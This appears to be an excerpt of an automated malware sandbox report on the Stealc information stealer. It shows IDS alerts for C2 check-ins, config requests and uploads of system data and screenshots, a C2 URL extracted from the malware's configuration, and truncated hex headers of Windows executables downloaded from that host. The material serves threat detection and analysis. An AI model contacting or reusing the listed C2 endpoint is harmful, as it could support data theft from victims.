Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49707 -> 45.152.113.10:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49707 -> 45.152.113.10:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 45.152.113.10:80 -> 192.168.2.5:49707
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49707 -> 45.152.113.10:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 45.152.113.10:80 -> 192.168.2.5:49707
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49707 -> 45.152.113.10:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.5:49707 -> 45.152.113.10:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://45.152.113.10/92335b4816f77e90.php
Source: Malware configuration extractor	URLs: http://45.152.113.10/92335b4816f77e90.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Sep 2024 16:45:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Sep 2024 16:45:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Sep 2024 16:45:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Sep 2024 16:45:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Sep 2024 16:45:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Sep 2024 16:45:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Sep 2024 16:45:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 